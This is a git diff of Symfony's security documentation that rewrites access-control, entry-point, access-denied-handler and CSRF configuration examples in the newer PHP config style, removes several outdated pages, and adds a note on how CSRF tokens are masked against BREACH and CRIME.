                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
 
@@ -55,7 +55,7 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -65,13 +65,13 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
                 <!-- ... -->
-                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/>
+                <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
 
@@ -88,49 +88,46 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
-        $container->loadFromExtension('security', [
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, SecurityConfig $security) {
+            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '127.0.0.1',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_PORT',
-                    'ip' => '127.0.0.1',
-                    'port' => '8080',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_HOST',
-                    'host' => 'symfony\.com$',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_METHOD',
-                    'methods' => 'POST, PUT',
-                ],
-
-                // ips can be comma-separated, which is especially useful when using env variables
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => '%env(TRUSTED_IPS)%',
-                ],
-                [
-                    'path' => '^/admin',
-                    'roles' => 'ROLE_USER_IP',
-                    'ips' => [
-                        '127.0.0.1',
-                        '::1',
-                        '%env(TRUSTED_IPS)%',
-                    ],
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_PORT'])
+                ->ips(['127.0.0.1'])
+                ->port(8080)
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_HOST'])
+                ->host('symfony\.com$')
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_METHOD'])
+                ->methods(['POST', 'PUT'])
+            ;
+            // ips can be comma-separated, which is especially useful when using env variables
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['%env(TRUSTED_IPS)%'])
+            ;
+            $security->accessControl()
+                ->path('^/admin')
+                ->roles(['ROLE_USER_IP'])
+                ->ips(['127.0.0.1', '::1', '%env(TRUSTED_IPS)%'])
+            ;
+        };
 
 .. versionadded:: 5.2
 
@@ -145,13 +142,13 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
 +=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #1 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
+| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #1 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
+| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
 |                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
 |                 |             |             |             |            |                                | ``access_control`` match is used.                           |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #2 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
+| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
 |                 |             |             |             |            |                                | rule (which matches) is used.                               |
@@ -250,7 +247,7 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -275,21 +272,23 @@ pattern so that it is only accessible by requests from the local server itself:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/internal',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    // the 'ips' option supports IP addresses and subnet masks
-                    'ips' => ['127.0.0.1', '::1'],
-                ],
-                [
-                    'path' => '^/internal',
-                    'roles' => 'ROLE_NO_ACCESS',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                // the 'ips' option supports IP addresses and subnet masks
+                ->ips(['127.0.0.1', '::1'])
+            ;
+
+            $security->accessControl()
+                ->path('^/internal')
+                ->roles(['ROLE_NO_ACCESS'])
+            ;
+        };
 
 Here is how it works when the path is ``/internal/something`` coming from
 the external IP address ``10.0.0.1``:
@@ -331,7 +330,7 @@ key:
             access_control:
                 -
                     path: ^/_internal/secure
-                    # the 'role' and 'allow-if' options work like an OR expression, so
+                    # the 'roles' and 'allow_if' options work like an OR expression, so
                     # access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     roles: 'ROLE_ADMIN'
                     allow_if: "'127.0.0.1' == request.getClientIp() or request.headers.has('X-Secure-Access')"
@@ -339,7 +338,7 @@ key:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -361,18 +360,19 @@ key:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/_internal/secure',
-                    // the 'role' and 'allow-if' options work like an OR expression, so
-                    // access is granted if the expression is TRUE or the user has ROLE_ADMIN
-                    'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/_internal/secure')
+                // the 'role' and 'allow-if' options work like an OR expression, so
+                // access is granted if the expression is TRUE or the user has ROLE_ADMIN
+                ->roles(['ROLE_ADMIN'])
+                ->allowIf('"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")')
+            ;
+        };
 
 In this case, when the user tries to access any URL starting with
 ``/_internal/secure``, they will only be granted access if the IP address is
@@ -417,7 +417,7 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -438,16 +438,17 @@ access those URLs via a specific port. This could be useful for example for
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'role' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'port' => '8080',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->port(8080)
+            ;
+        };
 
 Forcing a Channel (http, https)
 -------------------------------
@@ -470,7 +471,7 @@ the user will be redirected to ``https``:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -491,13 +492,14 @@ the user will be redirected to ``https``:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
-            'access_control' => [
-                [
-                    'path' => '^/cart/checkout',
-                    'roles' => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                    'requires_channel' => 'https',
-                ],
-            ],
-        ]);
+
+            $security->accessControl()
+                ->path('^/cart/checkout')
+                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->requiresChannel('https')
+            ;
+        };
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 59d6d6bb8d6..c880ec14065 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -15,6 +15,8 @@ generates a response based on the authentication state:
 * **If the user is authenticated, but does not have the required
   permissions**, a *403 Forbidden* response is generated.
 
+.. _security-entry-point:
+
 Customize the Unauthorized Response
 -----------------------------------
 
@@ -28,25 +30,23 @@ unauthenticated user tries to access a protected resource::
 
     use Symfony\Component\HttpFoundation\RedirectResponse;
     use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
+    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
     use Symfony\Component\Security\Core\Exception\AuthenticationException;
     use Symfony\Component\Security\Http\EntryPoint\AuthenticationEntryPointInterface;
 
     class AuthenticationEntryPoint implements AuthenticationEntryPointInterface
     {
         private $urlGenerator;
-        private $session;
 
-        public function __construct(UrlGeneratorInterface $urlGenerator, SessionInterface $session)
+        public function __construct(UrlGeneratorInterface $urlGenerator)
         {
             $this->urlGenerator = $urlGenerator;
-            $this->session = $session;
         }
 
         public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
-            $this->session->getFlashBag()->add('note', 'You have to login in order to access this page.');
+            $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
 
             return new RedirectResponse($this->urlGenerator->generate('security_login'));
         }
@@ -72,7 +72,7 @@ Now, configure this service ID as the entry point for the firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -92,15 +92,14 @@ Now, configure this service ID as the entry point for the firewall:
 
         // config/packages/security.php
         use App\Security\AuthenticationEntryPoint;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'entry_point' => AuthenticationEntryPoint::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->entryPoint(AuthenticationEntryPoint::class)
+            ;
+        };
 
 Customize the Forbidden Response
 --------------------------------
@@ -122,7 +121,7 @@ response)::
 
     class AccessDeniedHandler implements AccessDeniedHandlerInterface
     {
-        public function handle(Request $request, AccessDeniedException $accessDeniedException)
+        public function handle(Request $request, AccessDeniedException $accessDeniedException): ?Response
         {
             // ...
 
@@ -149,7 +148,7 @@ configure it under your firewall:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -169,15 +168,14 @@ configure it under your firewall:
 
         // config/packages/security.php
         use App\Security\AccessDeniedHandler;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'access_denied_handler' => AccessDeniedHandler::class,
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                // ....
+                ->accessDeniedHandler(AccessDeniedHandler::class)
+            ;
+        };
 
 Customizing All Access Denied Responses
 ---------------------------------------
@@ -209,7 +207,7 @@ configure a :ref:`kernel.exception listener <use-kernel-exception-event>`::
 
         public function onKernelException(ExceptionEvent $event): void
         {
-            $exception = $event->getException();
+            $exception = $event->getThrowable();
             if (!$exception instanceof AccessDeniedException) {
                 return;
             }
diff --git a/security/acl.rst b/security/acl.rst
deleted file mode 100644
index ffbf16c7c27..00000000000
--- a/security/acl.rst
+++ /dev/null
@@ -1,15 +0,0 @@
-.. index::
-   single: Security; Access Control Lists (ACLs)
-
-How to Use Access Control Lists (ACLs)
-======================================
-
-.. caution::
-
-    ACL support was removed in Symfony 4.0. Install the `Symfony ACL bundle`_
-    and refer to its documentation if you want to keep using ACL.
-
-    Consider using :doc:`security voters </security/voters>`,
-    the alternative to ACLs recommended by Symfony.
-
-.. _`Symfony ACL bundle`: https://github.com/symfony/acl-bundle
diff --git a/security/auth_providers.rst b/security/auth_providers.rst
deleted file mode 100644
index 349f16a219a..00000000000
--- a/security/auth_providers.rst
+++ /dev/null
@@ -1,241 +0,0 @@
-Built-in Authentication Providers
-=================================
-
-If you need to add authentication to your app, we recommend using
-:doc:`Guard authentication </security/guard_authentication>` because it gives you
-full control over the process.
-
-But, Symfony also offers a number of built-in authentication providers: systems
-that are easier to implement, but harder to customize. If your authentication
-use-case matches one of these exactly, they're a great option:
-
-.. toctree::
-    :hidden:
-
-    form_login
-    json_login_setup
-
-* :doc:`form_login </security/form_login>`
-* :ref:`http_basic <security-http_basic>`
-* :doc:`LDAP via HTTP Basic or Form Login </security/ldap>`
-* :doc:`json_login </security/json_login_setup>`
-* :ref:`X.509 Client Certificate Authentication (x509) <security-x509>`
-* :ref:`REMOTE_USER Based Authentication (remote_user) <security-remote_user>`
-
-.. _security-http_basic:
-
-HTTP Basic Authentication
--------------------------
-
-`HTTP Basic authentication`_ asks credentials (username and password) using a dialog
-in the browser. The credentials are sent without any hashing or encryption, so
-it's recommended to use it with HTTPS.
-
-To support HTTP Basic authentication, add the ``http_basic`` key to your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    http_basic:
-                        realm: Secured Area
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <http-basic realm="Secured Area"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    'http_basic' => [
-                        'realm' => 'Secured Area',
-                    ],
-                ],
-            ],
-        ]);
-
-That's it! Symfony will now be listening for any HTTP basic authentication data.
-To load user information, it will use your configured :doc:`user provider </security/user_provider>`.
-
-Note: you cannot use the :ref:`log out <security-logging-out>` with ``http_basic``.
-Even if you log out, your browser "remembers" your credentials and will send them
-on every request.
-
-.. _security-x509:
-
-X.509 Client Certificate Authentication
----------------------------------------
-
-When using client certificates, your web server is doing all the authentication
-process itself. With Apache, for example, you would use the
-``SSLVerifyClient Require`` directive.
-
-Enable the x509 authentication for a particular firewall in the security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    x509:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="main">
-                    <!-- ... -->
-                    <x509 provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'x509' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-By default, the firewall provides the ``SSL_CLIENT_S_DN_Email`` variable to
-the user provider, and sets the ``SSL_CLIENT_S_DN`` as credentials in the
-:class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\PreAuthenticatedToken`.
-You can override these by setting the ``user`` and the ``credentials`` keys
-in the x509 firewall configuration respectively.
-
-.. _security-pre-authenticated-user-provider-note:
-
-.. note::
-
-    An authentication provider will only inform the user provider of the username
-    that made the request. You will need to create (or use) a "user provider" that
-    is referenced by the ``provider`` configuration parameter (``your_user_provider``
-    in the configuration example). This provider will turn the username into a User
-    object of your choice. For more information on creating or configuring a user
-    provider, see:
-
-    * :doc:`/security/user_provider`
-
-.. _security-remote_user:
-
-REMOTE_USER Based Authentication
---------------------------------
-
-A lot of authentication modules, like ``auth_kerb`` for Apache, provide the username
-using the ``REMOTE_USER`` environment variable. This variable can be trusted by
-the application since the authentication happened before the request reached it.
-
-To configure Symfony using the ``REMOTE_USER`` environment variable, enable the
-corresponding firewall in your security configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            firewalls:
-                main:
-                    # ...
-                    remote_user:
-                        provider: your_user_provider
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main">
-                    <remote-user provider="your_user_provider"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'remote_user' => [
-                        'provider' => 'your_user_provider',
-                    ],
-                ],
-            ],
-        ]);
-
-The firewall will then provide the ``REMOTE_USER`` environment variable to
-your user provider. You can change the variable name used by setting the ``user``
-key in the ``remote_user`` firewall configuration.
-
-.. note::
-
-    Just like for X509 authentication, you will need to configure a "user provider".
-    See :ref:`the previous note <security-pre-authenticated-user-provider-note>`
-    for more information.
-
-.. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
diff --git a/security/csrf.rst b/security/csrf.rst
index ac8e840c978..12a00ef185c 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -51,9 +51,13 @@ for more information):
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'csrf_protection' => null,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->csrfProtection()
+                ->enabled(true)
+            ;
+        };
 
 The tokens used for CSRF protection are meant to be different for every user and
 they are stored in the session. That's why a session is started automatically as
@@ -85,7 +89,7 @@ this can be customized on a form-by-form basis::
 
     // src/Form/TaskType.php
     namespace App\Form;
-    
+
     // ...
     use App\Entity\Task;
     use Symfony\Component\OptionsResolver\OptionsResolver;
@@ -94,7 +98,7 @@ this can be customized on a form-by-form basis::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'data_class'      => Task::class,
@@ -119,8 +123,8 @@ customize the entire form field contents).
 CSRF Protection in Login Forms
 ------------------------------
 
-See :doc:`/security/form_login_setup` for a login form that is protected from
-CSRF attacks. You can also configure the
+See :ref:`form_login-csrf` for a login form that is protected from CSRF
+attacks. You can also configure the
 :ref:`CSRF protection for the logout action <reference-security-logout-csrf>`.
 
 .. _csrf-protection-in-html-forms:
@@ -147,12 +151,13 @@ generate a CSRF token in the template and store it as a hidden form field:
 
 Then, get the value of the CSRF token in the controller action and use the
 :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
-to check its validity::
+method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function delete(Request $request)
+    public function delete(Request $request): Response
     {
         $submittedToken = $request->request->get('token');
 
@@ -162,4 +167,19 @@ to check its validity::
         }
     }
 
+CSRF Tokens and Compression Side-Channel Attacks
+------------------------------------------------
+
+`BREACH`_ and `CRIME`_ are security exploits against HTTPS when using HTTP
+compression. Attackers can leverage information leaked by compression to recover
+targeted parts of the plaintext. To mitigate these attacks, and prevent an
+attacker from guessing the CSRF tokens, a random mask is prepended to the token
+and used to scramble it.
+
+.. versionadded:: 5.3
+
+    The randomization of tokens was introduced in Symfony 5.3
+
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
+.. _`BREACH`: https://en.wikipedia.org/wiki/BREACH
+.. _`CRIME`: https://en.wikipedia.org/wiki/CRIME
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
deleted file mode 100644
index 8c5581964ea..00000000000
--- a/security/custom_authentication_provider.rst
+++ /dev/null
@@ -1,653 +0,0 @@
-.. index::
-   single: Security; Custom authentication provider
-
-How to Create a custom Authentication Provider
-==============================================
-
-.. caution::
-
-    Creating a custom authentication system is hard, and almost definitely
-    **not** needed. Instead, see :doc:`/security/guard_authentication` for a
-    simple way to create an authentication system you will love. Do **not**
-    keep reading unless you want to learn the lowest level details of
-    authentication.
-
-Symfony provides support for the most
-:doc:`common authentication mechanisms </security/auth_providers>`. However, your
-app may need to integrated with some proprietary single-sign-on system or some
-legacy authentication mechanism. In those cases you could create a custom
-authentication provider. This article discusses the core classes involved
-in the authentication process, and how to implement a custom authentication
-provider. Because authentication and authorization are separate concepts,
-this extension will be user-provider agnostic, and will function with your
-application's user providers, may they be based in memory, a database, or
-wherever else you choose to store them.
-
-Meet WSSE
----------
-
-The following article demonstrates how to create a custom authentication
-provider for WSSE authentication. The security protocol for WSSE provides
-several security benefits:
-
-#. Username / Password encryption
-#. Safe guarding against replay attacks
-#. No web server configuration required
-
-WSSE is very useful for the securing of web services, may they be SOAP or
-REST.
-
-There is plenty of great documentation on `WSSE`_, but this article will
-focus not on the security protocol, but rather the manner in which a custom
-protocol can be added to your Symfony application. The basis of WSSE is
-that a request header is checked for encrypted credentials, verified using
-a timestamp and `nonce`_, and authenticated for the requested user using a
-password digest.
-
-.. note::
-
-    WSSE also supports application key validation, which is useful for web
-    services, but is outside the scope of this article.
-
-The Token
----------
-
-The role of the token in the Symfony security context is an important one.
-A token represents the user authentication data present in the request. Once
-a request is authenticated, the token retains the user's data, and delivers
-this data across the security context. First, you'll create your token class.
-This will allow the passing of all relevant information to your authentication
-provider::
-
-    // src/Security/Authentication/Token/WsseUserToken.php
-    namespace App\Security\Authentication\Token;
-
-    use Symfony\Component\Security\Core\Authentication\Token\AbstractToken;
-
-    class WsseUserToken extends AbstractToken
-    {
-        public $created;
-        public $digest;
-        public $nonce;
-
-        public function __construct(array $roles = [])
-        {
-            parent::__construct($roles);
-
-            // If the user has roles, consider it authenticated
-            $this->setAuthenticated(count($roles) > 0);
-        }
-
-        public function getCredentials()
-        {
-            return '';
-        }
-    }
-
-.. note::
-
-    The ``WsseUserToken`` class extends the Security component's
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\AbstractToken`
-    class, which provides basic token functionality. Implement the
-    :class:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface`
-    on any class to use as a token.
-
-The Listener
-------------
-
-Next, you need a listener to listen on the firewall. The listener
-is responsible for fielding requests to the firewall and calling the authentication
-provider. Listener is a callable, so you have to implement an ``__invoke()`` method.
-A security listener should handle the
-:class:`Symfony\\Component\\HttpKernel\\Event\\RequestEvent` event, and
-set an authenticated token in the token storage if successful::
-
-    // src/Security/Firewall/WsseListener.php
-    namespace App\Security\Firewall;
-
-    use App\Security\Authentication\Token\WsseUserToken;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\Security\Core\Authentication\AuthenticationManagerInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-
-    class WsseListener
-    {
-        protected $tokenStorage;
-        protected $authenticationManager;
-
-        public function __construct(TokenStorageInterface $tokenStorage, AuthenticationManagerInterface $authenticationManager)
-        {
-            $this->tokenStorage = $tokenStorage;
-            $this->authenticationManager = $authenticationManager;
-        }
-
-        public function __invoke(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-
-            $wsseRegex = '/UsernameToken Username="(?P<username>[^"]+)", PasswordDigest="(?P<digest>[^"]+)", Nonce="(?P<nonce>[a-zA-Z0-9+\/]+={0,2})", Created="(?P<created>[^"]+)"/';
-            if (!$request->headers->has('x-wsse') || 1 !== preg_match($wsseRegex, $request->headers->get('x-wsse'), $matches)) {
-                return;
-            }
-
-            $token = new WsseUserToken();
-            $token->setUser($matches['username']);
-
-            $token->digest  = $matches['digest'];
-            $token->nonce   = $matches['nonce'];
-            $token->created = $matches['created'];
-
-            try {
-                $authToken = $this->authenticationManager->authenticate($token);
-                $this->tokenStorage->setToken($authToken);
-
-                return;
-            } catch (AuthenticationException $failed) {
-                // ... you might log something here
-
-                // To deny the authentication clear the token. This will redirect to the login page.
-                // Make sure to only clear your token, not those of other authentication listeners.
-                // $token = $this->tokenStorage->getToken();
-                // if ($token instanceof WsseUserToken && $this->providerKey === $token->getProviderKey()) {
-                //     $this->tokenStorage->setToken(null);
-                // }
-                // return;
-            }
-
-            // By default deny authorization
-            $response = new Response();
-            $response->setStatusCode(Response::HTTP_FORBIDDEN);
-            $event->setResponse($response);
-        }
-    }
-
-This listener checks the request for the expected ``X-WSSE`` header, matches
-the value returned for the expected WSSE information, creates a token using
-that information, and passes the token on to the authentication manager. If
-the proper information is not provided, or the authentication manager throws
-an :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`,
-a 401 Response is returned.
-
-.. note::
-
-    A class not used above, the
-    :class:`Symfony\\Component\\Security\\Http\\Firewall\\AbstractAuthenticationListener`
-    class, is a very useful base class which provides commonly needed functionality
-    for security extensions. This includes maintaining the token in the session,
-    providing success / failure handlers, login form URLs, and more. As WSSE
-    does not require maintaining authentication sessions or login forms, it
-    won't be used for this example.
-
-.. note::
-
-    Returning prematurely from the listener is relevant only if you want to chain
-    authentication providers (for example to allow anonymous users). If you want
-    to forbid access to anonymous users and have a 404 error, you should set
-    the status code of the response before returning.
-
-The Authentication Provider
----------------------------
-
